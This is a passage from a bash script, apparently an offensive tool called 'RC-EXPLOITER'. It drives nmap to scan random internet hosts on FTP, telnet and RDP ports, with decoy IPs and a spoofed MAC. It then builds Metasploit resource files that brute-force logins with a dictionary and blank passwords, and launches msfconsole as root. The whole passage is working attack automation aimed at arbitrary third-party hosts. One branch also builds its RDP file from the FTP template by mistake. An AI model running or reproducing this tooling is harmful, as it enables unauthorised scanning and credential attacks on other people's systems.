  1141. aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
  1142.  
  1143.  
  1144.    if [ "$aTv" = "Scan WAN for hosts" ]; then
  1145.      echo "FTP:WAN:LOADED" >> $IPATH/debug/debug.int
  1146.      NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
  1147.      dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
  1148.  
  1149.      # use DECOY'S in scanning WAN networks?
  1150.      if [ "$Ch3" = "YES" ]; then
  1151.      # use decoys to scan wan networks
  1152.      echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
  1153.      nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 21 --open --reason -oN $IPATH/logs/Random-Hosts[FTP].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[FTP].log\nHOSTS: $NUM ONLY: open PORTS: 21\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  1154.      else
  1155.      # default (dont use decoys)
  1156.      nmap -sS -iR $NUM -PN -p 21 --open --reason -oN $IPATH/logs/Random-Hosts[FTP].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[FTP].log\nHOSTS: $NUM ONLY: open PORTS: 21\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  1157.      fi
  1158.  
  1159.      echo ""
  1160.      # display on screen hosts found
  1161.      cat $IPATH/logs/Random-Hosts[FTP].log
  1162.      echo ""
  1163.  
  1164.        # generate (settings) resource file
  1165.        rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  1166.          if [ "$?" -eq "0" ]; then
  1167.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  1168.        echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
  1169.        echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
  1170.        echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  1171.        echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  1172.        echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  1173.        echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
  1174.        echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
  1175.        echo "resource $IPATH/exploits/ftp.rc" >> $IPATH/tempwork/msfdb.rc
  1176.        chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  1177.  
  1178.          # generate (cleaner) resource file
  1179.          echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  1180.          echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
  1181.          echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  1182.          echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  1183.          chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  1184.          chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  1185.          chown $user $IPATH/logs/Random-Hosts[FTP].log > /dev/null 2>&1
  1186.  
  1187.          cd $IPATH/exploits/
  1188.          # using bash SED to replace value (report.log)
  1189.          cp ftp.rc ftp.bk > /dev/null 2<&1
  1190.          sed "s|Lt0P4tH|$IPATH/logs/[ftp].log|g" ftp.rc > copy.int
  1191.          mv copy.int ftp.rc > /dev/null 2<&1
  1192.          cd $IPATH
  1193.  
  1194.            # store in debug.int
  1195.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  1196.            echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
  1197.            echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
  1198.  
  1199.       # start postgresql+metasploit db
  1200.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  1201.       # /etc/init.d/postgresql start > /dev/null 2>&1
  1202.       # /etc/init.d/metasploit start > /dev/null 2>&1
  1203.  
  1204.       if [ "$DiStR0" = "Kali" ]; then
  1205.         service postgresql start > /dev/null 2>&1
  1206.         service metasploit start > /dev/null 2>&1
  1207.       else
  1208.         service metasploit start > /dev/null 2>&1
  1209.       fi
  1210.  
  1211.     # display cleaner command
  1212.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1213.     echo ${white}--------------------------------------------------------${Reset};
  1214.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  1215.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  1216.     echo ${white}--------------------------------------------------------${Reset};
  1217.  
  1218.   # access msfdatabase
  1219.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  1220.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  1221.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  1222.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ftp].log" --width 480 > /dev/null 2>&1
  1223.   service metasploit stop > /dev/null 2>&1
  1224.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1225.  
  1226.   # clean old files
  1227.   mv $IPATH/exploits/ftp.bk $IPATH/exploits/ftp.rc > /dev/null 2<&1
  1228.   chown $user $IPATH/exploits/ftp.rc > /dev/null 2>&1
  1229.  
  1230.  
  1231.   else
  1232.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  1233.   echo "FTP:WAN:ABORT" >> $IPATH/debug/debug.int
  1234.   sleep 2
  1235.   fi
  1236.  
  1237.  
  1238.  
  1239.    elif [ "$aTv" = "input RHOSTS manually" ]; then
  1240.    echo "FTP:MANUAL:LOADED" >> $IPATH/debug/debug.int
  1241.   # imput manually RHOSTS
  1242.   rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  1243.      if [ "$?" -eq "0" ]; then
  1244.      dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
  1245.  
  1246.     # generate (settings) resource file
  1247.     echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  1248.     echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
  1249.     echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  1250.     echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  1251.     echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  1252.     echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
  1253.     echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
  1254.     echo "resource $IPATH/exploits/ftp.rc" >> $IPATH/tempwork/msfdb.rc
  1255.  
  1256.       # generate (cleaner) resource file
  1257.       echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  1258.       echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
  1259.       echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  1260.       echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  1261.       chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  1262.       chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  1263.  
  1264.          cd $IPATH/exploits/
  1265.          # using bash SED to replace value (report.log)
  1266.          cp ftp.rc ftp.bk > /dev/null 2<&1
  1267.          sed "s|Lt0P4tH|$IPATH/logs/[ftp].log|g" ftp.rc > copy.int
  1268.          mv copy.int ftp.rc > /dev/null 2<&1
  1269.          cd $IPATH
  1270.  
  1271.            # store in debug.int
  1272.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  1273.            echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
  1274.            echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
  1275.  
  1276.       # start postgresql+metasploit db
  1277.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  1278.       # /etc/init.d/postgresql start > /dev/null 2>&1
  1279.       # /etc/init.d/metasploit start > /dev/null 2>&1
  1280.  
  1281.       if [ "$DiStR0" = "Kali" ]; then
  1282.         service postgresql start > /dev/null 2>&1
  1283.         service metasploit start > /dev/null 2>&1
  1284.       else
  1285.         service metasploit start > /dev/null 2>&1
  1286.       fi
  1287.  
  1288.     # display cleaner command
  1289.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1290.     echo ${white}--------------------------------------------------------${Reset};
  1291.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  1292.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  1293.     echo ${white}--------------------------------------------------------${Reset};
  1294.  
  1295.   # access msfdatabase
  1296.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  1297.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  1298.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  1299.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ftp].log" --width 480 > /dev/null 2>&1
  1300.   service metasploit stop > /dev/null 2>&1
  1301.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1302.  
  1303.   # clean old files
  1304.   mv $IPATH/exploits/ftp.bk $IPATH/exploits/ftp.rc > /dev/null 2<&1
  1305.   chown $user $IPATH/exploits/ftp.rc > /dev/null 2>&1
  1306.  
  1307.   else
  1308.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  1309.   echo "FTP:MANUAL:ABORT" >> $IPATH/debug/debug.int
  1310.   sleep 2
  1311.   fi
  1312.  
  1313.  
  1314. else
  1315.  
  1316.    Colors;
  1317.    echo ${RedF}[x]::[quiting module]... ${Reset};
  1318.    echo "FTP:CANCEL" >> $IPATH/debug/debug.int
  1319.    sleep 2
  1320. fi
  1321. }
  1322.  
  1323.  
  1324.  
  1325.  
  1326. # ----------------
  1327. # telnet exploiter
  1328. # ----------------
  1329. sh_6 () {
  1330. Colors;
  1331. # search in wan OR manually input rhosts
  1332. aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
  1333.  
  1334.  
  1335.    if [ "$aTv" = "Scan WAN for hosts" ]; then
  1336.      echo "TELNET:WAN:LOADED" >> $IPATH/debug/debug.int
  1337.      NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
  1338.      dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
  1339.  
  1340.      # use DECOY'S in scanning WAN networks?
  1341.      if [ "$Ch3" = "YES" ]; then
  1342.      # use decoys to scan wan networks
  1343.      echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
  1344.      nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 23 --open -oN $IPATH/logs/Random-Hosts[telnet].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[telnet].log\nHOSTS: $NUM ONLY: open PORTS: 23\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  1345.      else
  1346.      # default (dont use decoys)
  1347.      nmap -sS -iR $NUM -PN -p 23 --open -oN $IPATH/logs/Random-Hosts[telnet].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[telnet].log\nHOSTS: $NUM ONLY: open PORTS: 23\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  1348.      fi
  1349.  
  1350.  
  1351.      echo ""
  1352.      # display on screen hosts found
  1353.      cat $IPATH/logs/Random-Hosts[telnet].log
  1354.      echo ""
  1355.  
  1356.        # generate (settings) resource file
  1357.        rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  1358.          if [ "$?" -eq "0" ]; then
  1359.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  1360.        echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
  1361.        echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
  1362.        echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  1363.        echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  1364.        echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  1365.        echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
  1366.        echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
  1367.        echo "resource $IPATH/exploits/telnet.rc" >> $IPATH/tempwork/msfdb.rc
  1368.        chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  1369.  
  1370.          # generate (cleaner) resource file
  1371.          echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  1372.          echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
  1373.          echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  1374.          echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  1375.          chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  1376.          chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  1377.          chown $user $IPATH/logs/Random-Hosts[telnet].log > /dev/null 2>&1
  1378.  
  1379.            # store in debug.int
  1380.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  1381.            echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
  1382.            echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
  1383.  
  1384.          cd $IPATH/exploits/
  1385.          # using bash SED to replace value (dicionary file and logfile)
  1386.          cp telnet.rc telnet.bk > /dev/null 2<&1
  1387.          sed "s|R3PL4C3|$dIc|g" telnet.rc > copy.int
  1388.          sed "s|Lt0P4tH|$IPATH/logs/[telnet]|g" copy.int > copy2.int
  1389.          mv copy2.int telnet.rc > /dev/null 2<&1
  1390.          cd $IPATH
  1391.  
  1392.       # start postgresql+metasploit db
  1393.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  1394.       # /etc/init.d/postgresql start > /dev/null 2>&1
  1395.       # /etc/init.d/metasploit start > /dev/null 2>&1
  1396.  
  1397.       if [ "$DiStR0" = "Kali" ]; then
  1398.         service postgresql start > /dev/null 2>&1
  1399.         service metasploit start > /dev/null 2>&1
  1400.       else
  1401.         service metasploit start > /dev/null 2>&1
  1402.       fi
  1403.  
  1404.     # display cleaner command
  1405.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1406.     echo ${white}--------------------------------------------------------${Reset};
  1407.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  1408.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  1409.     echo ${white}--------------------------------------------------------${Reset};
  1410.  
  1411.   # access msfdatabase
  1412.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  1413.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  1414.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  1415.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[telnet].log" --width 480 > /dev/null 2>&1
  1416.   service metasploit stop > /dev/null 2>&1
  1417.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1418.  
  1419.   # clean old files
  1420.   rm $IPATH/exploits/copy.int > /dev/null 2<&1
  1421.   mv $IPATH/exploits/telnet.bk $IPATH/exploits/telnet.rc > /dev/null 2<&1
  1422.   chown $user $IPATH/exploits/telnet.rc > /dev/null 2>&1
  1423.  
  1424.   else
  1425.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  1426.   echo "TELNET:WAN:ABORT" >> $IPATH/debug/debug.int
  1427.   sleep 2
  1428.   fi
  1429.  
  1430.  
  1431.    elif [ "$aTv" = "input RHOSTS manually" ]; then
  1432.    echo "TELNET:MANUAL:LOADED" >> $IPATH/debug/debug.int
  1433.   # imput manually RHOSTS
  1434.   rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  1435.      if [ "$?" -eq "0" ]; then
  1436.      dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
  1437.  
  1438.     # generate (settings) resource file
  1439.     echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  1440.     echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
  1441.     echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  1442.     echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  1443.     echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  1444.     echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
  1445.     echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
  1446.     echo "resource $IPATH/exploits/telnet.rc" >> $IPATH/tempwork/msfdb.rc
  1447.  
  1448.       # generate (cleaner) resource file
  1449.       echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  1450.       echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
  1451.       echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  1452.       echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  1453.       chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  1454.       chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  1455.  
  1456.            # store in debug.int
  1457.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  1458.            echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
  1459.            echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
  1460.  
  1461.          cd $IPATH/exploits/
  1462.          # using bash SED to replace value (dicionary file and logfile)
  1463.          cp telnet.rc telnet.bk > /dev/null 2<&1
  1464.          sed "s|R3PL4C3|$dIc|g" telnet.rc > copy.int
  1465.          sed "s|Lt0P4tH|$IPATH/logs/[telnet].log|g" copy.int > copy2.int
  1466.          mv copy2.int telnet.rc > /dev/null 2<&1
  1467.          cd $IPATH
  1468.  
  1469.       # start postgresql+metasploit db
  1470.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  1471.       # /etc/init.d/postgresql start > /dev/null 2>&1
  1472.       # /etc/init.d/metasploit start > /dev/null 2>&1
  1473.  
  1474.       if [ "$DiStR0" = "Kali" ]; then
  1475.         service postgresql start > /dev/null 2>&1
  1476.         service metasploit start > /dev/null 2>&1
  1477.       else
  1478.         service metasploit start > /dev/null 2>&1
  1479.       fi
  1480.  
  1481.     # display cleaner command
  1482.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1483.     echo ${white}--------------------------------------------------------${Reset};
  1484.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  1485.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  1486.     echo ${white}--------------------------------------------------------${Reset};
  1487.  
  1488.   # access msfdatabase
  1489.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  1490.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  1491.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  1492.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[telnet].log" --width 480 > /dev/null 2>&1
  1493.   service metasploit stop > /dev/null 2>&1
  1494.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1495.  
  1496.   # clean old files
  1497.   rm $IPATH/exploits/copy.int > /dev/null 2<&1
  1498.   mv $IPATH/exploits/telnet.bk $IPATH/exploits/telnet.rc > /dev/null 2<&1
  1499.   chown $user $IPATH/exploits/telnet.rc > /dev/null 2>&1
  1500.  
  1501.   else
  1502.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  1503.   echo "TELNET:MANUAL:ABORT" >> $IPATH/debug/debug.int
  1504.   sleep 2
  1505.   fi
  1506.  
  1507.  
  1508. else
  1509.  
  1510.    Colors;
  1511.    echo ${RedF}[x]::[quiting module]... ${Reset};
  1512.    echo "TELNET:CANCEL" >> $IPATH/debug/debug.int
  1513.    sleep 2
  1514. fi
  1515. }
  1516.  
  1517.  
  1518.  
  1519.  
  1520. # -------------
  1521. # RDP exploiter
  1522. # -------------
  1523. sh_7 () {
  1524. Colors;
  1525. # search in wan OR manually input rhosts
  1526. aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
  1527.  
  1528.  
  1529.    if [ "$aTv" = "Scan WAN for hosts" ]; then
  1530.      echo "RDP:WAN:LOADED" >> $IPATH/debug/debug.int
  1531.      NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
  1532.  
  1533.      # use DECOY'S in scanning WAN networks?
  1534.      if [ "$Ch3" = "YES" ]; then
  1535.      # use decoys to scan wan networks
  1536.      echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
  1537.      nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 3389 --open --reason -oN $IPATH/logs/Random-Hosts[rdp].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[rdp].log\nHOSTS: $NUM ONLY: open PORTS: 3389\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  1538.      else
  1539.      # default (dont use decoys)
  1540.      nmap -sS -iR $NUM -PN -p 3389 --open --reason -oN $IPATH/logs/Random-Hosts[rdp].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[rdp].log\nHOSTS: $NUM ONLY: open PORTS: 3389\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  1541.      fi
  1542.  
  1543.      echo ""
  1544.      # display on screen hosts found
  1545.      cat $IPATH/logs/Random-Hosts[rdp].log
  1546.      echo ""
  1547.  
  1548.        # generate (settings) resource file
  1549.        rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  1550.          if [ "$?" -eq "0" ]; then
  1551.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  1552.        echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
  1553.        echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
  1554.        echo "resource $IPATH/exploits/rdp.rc" >> $IPATH/tempwork/msfdb.rc
  1555.        chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  1556.  
  1557.          # generate (cleaner) resource file
  1558.          echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  1559.          echo "unset -g RHOST RHOSTS" >> $IPATH/tempwork/cleaner.rc
  1560.          echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  1561.          echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  1562.          chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  1563.          chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  1564.          chown $user $IPATH/logs/Random-Hosts[rdp].log > /dev/null 2>&1
  1565.  
  1566.          cd $IPATH/exploits/
  1567.          # using bash SED to replace value (report.log)
  1568.          cp rdp.rc rdp.bk > /dev/null 2<&1
  1569.          sed "s|Lt0P4tH|$IPATH/logs/[rdp].log|g" ftp.rc > copy.int
  1570.          mv copy.int rdp.rc > /dev/null 2<&1
  1571.          cd $IPATH
  1572.  
  1573.            # store in debug.int
  1574.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  1575.  
  1576.       # start postgresql+metasploit db
  1577.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  1578.       # /etc/init.d/postgresql start > /dev/null 2>&1
  1579.       # /etc/init.d/metasploit start > /dev/null 2>&1
  1580.  
  1581.       if [ "$DiStR0" = "Kali" ]; then
  1582.         service postgresql start > /dev/null 2>&1
  1583.         service metasploit start > /dev/null 2>&1
  1584.       else
  1585.         service metasploit start > /dev/null 2>&1
  1586.       fi
  1587.  
  1588.     # display cleaner command
  1589.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1590.     echo ${white}--------------------------------------------------------${Reset};
  1591.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  1592.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  1593.     echo ${white}--------------------------------------------------------${Reset};
  1594.  
  1595.   # access msfdatabase
  1596.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  1597.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  1598.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  1599.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[rdp].log" --width 480 > /dev/null 2>&1
  1600.   service metasploit stop > /dev/null 2>&1
  1601.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1602.  
  1603.   # clean old files
  1604.   mv $IPATH/exploits/rdp.bk $IPATH/exploits/rdp.rc > /dev/null 2<&1
  1605.   chown $user $IPATH/exploits/rdp.rc > /dev/null 2>&1
  1606.  
  1607.   else
  1608.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  1609.   echo "RDP:WAN:ABORT" >> $IPATH/debug/debug.int
  1610.   sleep 2
  1611.   fi
  1612.  
  1613.  
  1614.  
  1615.    elif [ "$aTv" = "input RHOSTS manually" ]; then
  1616.    echo "RDP:MANUAL:LOADED" >> $IPATH/debug/debug.int
  1617.   # imput manually RHOSTS
  1618.   rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  1619.      if [ "$?" -eq "0" ]; then
  1620.  
  1621.     # generate (settings) resource file
